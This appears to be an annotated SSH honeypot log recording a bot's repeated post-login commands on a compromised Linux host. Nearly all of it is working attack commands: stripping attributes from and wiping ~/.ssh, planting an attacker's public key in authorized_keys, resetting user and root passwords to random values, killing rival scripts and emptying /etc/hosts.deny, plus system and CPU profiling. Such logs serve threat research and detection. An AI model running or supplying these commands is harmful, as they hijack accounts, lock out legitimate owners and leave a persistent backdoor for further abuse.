$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "deployerpassword\nXgN0qazIwUIP\nXgN0qazIwUIP"|passwd|bash

$ Enter new UNIX password:

$ echo "deployerpassword\nXgN0qazIwUIP\nXgN0qazIwUIP\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "sharepoint\nNhVVZGjg7yiF\nNhVVZGjg7yiF"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "sharepoint\nNhVVZGjg7yiF\nNhVVZGjg7yiF\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "mahima\nEGKl38FKRGC0\nEGKl38FKRGC0"|passwd|bash

$ echo "mahima\nEGKl38FKRGC0\nEGKl38FKRGC0\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "mahima\n94tbrSoP4U0n\n94tbrSoP4U0n"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "mahima\n94tbrSoP4U0n\n94tbrSoP4U0n\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "sharepoint\nGunwGYkyiVOe\nGunwGYkyiVOe"|passwd|bash

$ echo "sharepoint\nGunwGYkyiVOe\nGunwGYkyiVOe\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "mahima\n6G8TalsRe0jr\n6G8TalsRe0jr"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "mahima\n6G8TalsRe0jr\n6G8TalsRe0jr\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "sharepoint\n4QKuegsnjbhf\n4QKuegsnjbhf"|passwd|bash

$ echo "sharepoint\n4QKuegsnjbhf\n4QKuegsnjbhf\n"|passwd

$ echo "root:jkTtGtvTUFMd"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "backend\nyOT6F9FDqa18\nyOT6F9FDqa18"|passwd|bash

$ Enter new UNIX password:

$ echo "backend\nyOT6F9FDqa18\nyOT6F9FDqa18\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×5 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×5 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "portugal\naQfWQV2CnuAJ\naQfWQV2CnuAJ"|passwd|bash

$ Enter new UNIX password:

$ echo "portugal\naQfWQV2CnuAJ\naQfWQV2CnuAJ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:EAnX7DyO6MRk"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:rjaNbIOjiOuo"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "portugal\nKipnObkADPIc\nKipnObkADPIc"|passwd|bash

$ Enter new UNIX password:

$ echo "portugal\nKipnObkADPIc\nKipnObkADPIc\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\neUFYhE8QW3x2\neUFYhE8QW3x2"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\neUFYhE8QW3x2\neUFYhE8QW3x2\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -s -v -n -r -m

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "client123\nEWD8dWyFpGsZ\nEWD8dWyFpGsZ"|passwd|bash

$ Enter new UNIX password:

$ echo "client123\nEWD8dWyFpGsZ\nEWD8dWyFpGsZ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "war\nSVCmgD7RZRUw\nSVCmgD7RZRUw"|passwd|bash

$ Enter new UNIX password:

$ echo "war\nSVCmgD7RZRUw\nSVCmgD7RZRUw\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:x2xX0zpB7haA"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "war\ndIOQBneGj9Yp\ndIOQBneGj9Yp"|passwd|bash

$ Enter new UNIX password:

$ echo "war\ndIOQBneGj9Yp\ndIOQBneGj9Yp\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×5 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×5 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×5 // CPU profiling

$ echo -e "ek\nWZzBEaoq9kQ7\nWZzBEaoq9kQ7"|passwd|bash

$ Enter new UNIX password: ×4

$ echo "ek\nWZzBEaoq9kQ7\nWZzBEaoq9kQ7\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×5 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×5

$ ls -lh $(which ls) ×5

$ which ls ×5

$ crontab -l ×5 // persistence setup

$ w ×5 // logged-in users check

$ uname -m ×5

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×5 // CPU profiling

$ top ×5 // process monitoring

$ uname ×5 // OS identification

$ uname -a ×5 // OS/kernel identification

$ whoami ×5 // privilege check

$ lscpu | grep Model ×5

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×5

$ echo -e "taba\n1hLEyzvaMpGo\n1hLEyzvaMpGo"|passwd|bash

$ echo "taba\n1hLEyzvaMpGo\n1hLEyzvaMpGo\n"|passwd

$ echo -e "123\njzTAeC46FSNn\njzTAeC46FSNn"|passwd|bash

$ echo "123\njzTAeC46FSNn\njzTAeC46FSNn\n"|passwd

$ echo "root:sVjIRbnXQxcy"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ echo -e "mobile\nyaVOYeVQjDO2\nyaVOYeVQjDO2"|passwd|bash

$ echo "mobile\nyaVOYeVQjDO2\nyaVOYeVQjDO2\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ek\nhWpH5OxMAOSQ\nhWpH5OxMAOSQ"|passwd|bash

$ Enter new UNIX password:

$ echo "ek\nhWpH5OxMAOSQ\nhWpH5OxMAOSQ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -s -v -n -r -m ×4

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "123456\nhGh8NdK0s9Il\nhGh8NdK0s9Il"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "123456\nhGh8NdK0s9Il\nhGh8NdK0s9Il\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\nAaJDWgk8vci8\nAaJDWgk8vci8"|passwd|bash

$ echo "123456\nAaJDWgk8vci8\nAaJDWgk8vci8\n"|passwd

